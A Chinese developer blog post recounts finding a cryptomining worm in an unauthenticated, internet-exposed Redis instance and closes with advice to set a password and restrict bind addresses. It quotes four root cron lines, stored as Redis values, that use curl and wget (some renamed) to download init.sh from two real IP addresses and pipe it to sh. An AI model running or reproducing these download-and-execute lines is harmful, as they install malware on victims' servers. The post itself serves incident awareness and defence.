前段时间换了台电脑,一大堆开发环境我实在是懒得在本地搞了,每次启动来启动去太麻烦了,索性直接在服务器上开 Docker 部署,docker pull 复制粘贴什么 Redis、什么 MySQL 分分钟装好,要用的时候直接远程连接就行了,简直不要太方便。
也不是什么业务场景让我发现了这么一个病毒,因为大部分 Redis Key 都是设置了过期时间的,开发过程也没感觉到什么问题,纯粹是有一天我闲着没事干,进入 Redis 命令行 keys * 看看,不看不要紧,一看好家伙,多出了几个 key,大概就是下面这样子:
uid:1
uid:2
uid:3
backup1
backup2
backup3
backup4
多出了 4 个 backup 前缀的 key,我第一反应这肯定是什么备份文件
正常情况下我根本不会在意,纯粹就是那天确实比较闲,不如来学习下 Redis 吧(哈哈),于是,禀着好学的基本素养,我分别查看了下这里面的 value 是什么:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh
wget 是用来下载东西的,curl 是用于执行 HTTP 请求,点开 http://45.83.123.29/cleanfda/init.sh 看看到底是什么脚本文件:
又是改权限,又是关防火墙删文件的,用屁股想都知道这 IP 肯定是国外的了:
查了下发现这是一种 Redis 扩散病毒,专门利用 Redis 未授权访问漏洞的挖矿病毒。没错,就是 Redis 没设置密码,没授权,让病毒有了可乘之机。如果服务暴露在互联网上就一定要设置密码,不要裸奔 😭,很多同学大部分时间都是在本地开发,没有设置密码的习惯或者只是简单的设置成 root 这种
另外,除了设置密码,服务器开放端口的时候最好也指定下 IP,不然默认的 0.0.0.0:6379 任何 IP 都可以访问